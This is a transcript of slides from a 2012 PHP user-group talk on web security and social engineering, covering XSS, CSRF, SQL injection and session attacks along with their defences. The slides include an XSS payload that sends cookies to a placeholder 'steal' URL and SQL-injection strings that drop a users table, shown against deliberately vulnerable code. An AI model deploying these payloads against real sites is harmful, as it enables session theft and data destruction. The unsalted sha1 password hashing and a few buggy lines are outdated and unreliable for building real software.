Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Security 101

Security 101

This was for a talk given at the Atlanta PHP User Group on April 5th, 2012. This is a primer on PHP security with a bit of input on technical implementations and Social Engineering.

Avatar for Shawn Stratton

Shawn Stratton

April 06, 2012
Tweet

More Decks by Shawn Stratton

Other Decks in Technology

Transcript

  1. Who Am I • Systems Architect @ Discovery Communications. •

    Previous Speaker @ Atlanta PHP, Zendcon. • Previously worked on NationalGuard.com’s recruitment application (Security Clearance and all.)
  2. Kevin Mitnick • Hacked IBM, Motorola, DEC, Nokia, Sun Microsystems,

    Fujitsu Siemens. (Confirmed) • Hacked Pacific Bell, California DMV, FBI, Pentagon. (Alleged)
  3. SOCIAL ENGINEERING • Phishing - Getting information by simply asking

    for it. • Baiting - Leaving infected media (USB Stick, CD’s, wireless networks, etc) that compromises a system. • Tailgating - Entering a secured area by following someone.
  4. Social Engineering - Tips • Don’t give out privileged information,

    ever. • Know who you’re talking to, ask to call them back, etc. • Common Sense helps a lot. • Never take anything for granted. • Don’t pick up disks/ usb sticks/etc & insert them into your computer (PC, Mac, or even Linux)
  5. Security is a Mindset • Three Principles: • Defense in

    Depth • Least Privilege • Least complicated • Trust Nothing, Assume Nothing. Defense in Depth - Redundant safeguards are valuable. Least Privilege - Grant as little Freedom as possible Least Complicated - Complexity breeds mistakes. (From Shiflett’s Evolution of Web Security)
  6. Security In Practice • Working with Data has two practices:

    • Filter Input • Escape Output • Working with People has many many more!
  7. Server Security http://flic.kr/p/9SD2tZ by Rob Allan (Akrabat) This is actually

    Ed Finkler, he used to run the Spaz project and is a member of several other open source projects. Because of the context though most will assume he’s a hacker, this is called pre-texting.
  8. Server Side Security • Install Suhosin patch. • Be smart

    about your passwords. • Disable register globals, magic quotes, etc. • Never run PHP/Apache/Nginx/etc as administrator. • Keep up with Patches. This is a long topic, I’m not going to fully cover it. If you don’t know what you’re doing, PLEASE hire a sysadmin. Sysadmin’s need love too!
  9. Server Side Security Only True Security Option: Unplug machine from

    internet, telephone, power, etc and never power it back on.
  10. Top Vulnerabilities for Web apps • Cross Site Scripting •

    68% • Unintentional Disclosure • 66% • Session Fixation / Hijacking • 53% • Sql Injection • 32% Data according to Veracode State of Software Security v4. Sample group is 9910 apps.
  11. Cross Site Scripting (XSS) • Inclusion of Dynamic Code via

    unfiltered method of entry. • Can be one time (get parameter/post parameter.) • Can be permanent (blog post, blog comment, forum post, etc.)
  12. An Examples <?php echo $_GET['user']; ?> --- url?user=%3Cscript%3E%2F%2FDo %20Something%3C%2Fscript%3E or

    user = <script>//Do Something</script --- <?php echo "<script>//Do Something</script>"; ?>
  13. Whoa • If this were a crafted link, 1 person

    could be exploited. • If this is stored in a forum/blog, many people could be exploited.
  14. The Danger? cookies --- <script>document.location = 'http:// somelocation/steal/?cookie=' + encodeURI(

    document.cookie ) </script> form data --- <script>getElementById('form').target = http://somelocation/stealform</script>
  15. Special Chars <?php echo htmlspecialchars($_GET['user']); ?> --- url?user=%3Cscript%3EDo%20Something%3C %2Fscript%3E or

    user = <script>Do Something</script --- <?php echo "&LT;script&GT;Do Something&LT/ script&GT;"; ?>
  16. CSRF - Cross Site Request Forgeries • Uses your own

    login / cookies/ sessions /etc against you. • Makes requests in the back end (that have side effects) without your knowledge. • Can be done by a malicious site, or, via XSS.
  17. Using Tokens on your Forms <?php $token = sha1( uniqid(rand(true)));

    $_SESSION['token'] = $token; --- <input type="hidden" name='token' value="<?= $token?>" /> --- if ($_POST['token'] != $_SESSION['token']) { // ABORT ABORT }
  18. What is SQL Injection? • Allowing arbitrary SQL statements to

    alter the intended “flow” of your query. • Can change your conditions in unexpected ways -- admin’ or 1 = 1; -- • Can do actions -- admin’; drop table stuff; --
  19. Some Insecure Code url?userid=42 <?php $query = "SELECT * FROM

    users WHERE userid = '{$_GET['userid']}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42';
  20. So why is it insecure? url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid =

    42' drop table users; -- <?php $query = "SELECT * FROM users WHERE userid = '{$_GET['userid']}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42'; drop table users;-- ';
  21. Some Alternatives • Specific to this example: • Cast to

    integer. • Otherwise: • Filter Input. • Use Prepared Statements. • mysql_real_escape_string.
  22. Cast to Int url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42' drop

    table users; -- <?php $query = "SELECT * FROM users WHERE userid = '{ (int) $_GET['userid']}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42';
  23. Filtering url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42' drop table users;

    -- <?php $userid = filter_input(INPUT_GET, 'userid', FILTER_SANITIZE_NUMBER_INT); $query = "SELECT * FROM users WHERE userid = '{$userid}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42';
  24. Prepared Statements url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42' drop table

    users; -- <?php $stmt = $pdo->prepare("SELECT * FROM users WHERE userid = :userid"); $stmt->execute(array(':userid' => $_GET['userid'])); $result = $stmt->fetchAll(); ?> SELECT * FROM users WHERE userid = :userid;
  25. Tying it all together url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42'

    drop table users; -- <?php filter_input(INPUT_GET, 'userid', FILTER_SANITIZE_NUMBER_INT); $stmt = $pdo->prepare("SELECT * FROM users WHERE userid = :userid"); $stmt->execute(array(':userid' => $userid)); $result = $stmt->fetchAll(); ?> SELECT * FROM users WHERE userid = :userid;
  26. A note on Pagination • Set limits, make sure you’re

    not above your limit. • This is a DDOS attack vector, not setting a limit or too large of a limit can put additional strain on your application & database servers.
  27. Session Fixation • Various ways to do this. • Send

    someone a link with a Session ID, the server will generate that Session. • Figure out the session identifier generation pattern and change sessions.
  28. Usual Code for Session Fixation <?PHP session_start(); ----- Login Code

    ----- if ($login_successful) { $_SESSION['userid'] = $userid; $_SESSION['loggedin'] = true; }
  29. How is this exploited? • Send target url with PHPSESSIONID=someknownstring

    • Target accesses url, signs in. • Access url you sent target. • Profit.
  30. How can it be prevented • Regenerate the Session ID

    on changes to permission levels. We’ll look at other ways of handling this in another section.
  31. Session Fixation Prevention <?PHP session_start(); ----- Login Code ----- if

    ($login_successful) { session_regenerate_id(true); $_SESSION['userid'] = $userid; $_SESSION['loggedin'] = true; }
  32. Session Hijacking • Guessing someone’s session id. • Grabbing their

    cookie (think xss). • Someone sharing a link with the PHPSESSIONID on it.
  33. Fingerprint the UA <?php $_SESSION['UA'] == sha1 ($_SESSION['HTTP_USER_AGENT']); --- if

    ($_SESSION['UA'] != sha1 ($_SESSION['HTTP_USER_AGENT']) { session_destroy(); //Force Re-Login }
  34. Using a Token <?php $token = sha1 (md5(uniqid(rand(),TRUE)); $_SESSION['token'] ==

    $token; //store token elsewhere --- if ($_SESSION['token'] != $token) { session_destroy(); //Force Re-Login } //Regenerate token from time to time
  35. How to fix • Set allow_url_include to off. • Maybe

    set allow_url_fopen to off. • Quit doing it wrong.
  36. Fix the Underlying Problem <?php switch ($_GET['action']){ case 'post': require

    ('post'); break; default: require ('index'); break; }
  37. Sanitizing Input • Use strip_tags before storing data or processing

    it out. • Cast Data to it’s type if you’re not working with strings. • (int) $number • (bool) $condition • Do this on things that are not being fed from $GET/$POST you never know when you’ll change that.
  38. Escaping Output • Use htmlspecialchars to convert < to &GT;

    • Be aware of where you’re getting the data.
  39. On Passwords • Never store plaintext. • if (sha1($_POST[‘pass’]) ===

    $db_return) • Salting is awesome. • if (sha1(‘sa’ . $_POST[‘pass’] . ‘lt) === $db_return)
  40. On Password Complexity • Military Standard is Strong - 15

    ~68.5 bits of entropy • 15 chars long. • 2 upper case, 2 lower case letters. • 2 numbers. • 2 special characters.
  41. Some Important things. • Filter Input & Escape Output, always.

    • Use prepared statements, filter your query params. • Disable magic_quotes, register_globals, allow_url_fopen. • Give minimum permissions to daemons, processes, people. • Regenerate your session id’s and use tokens. • Use common sense.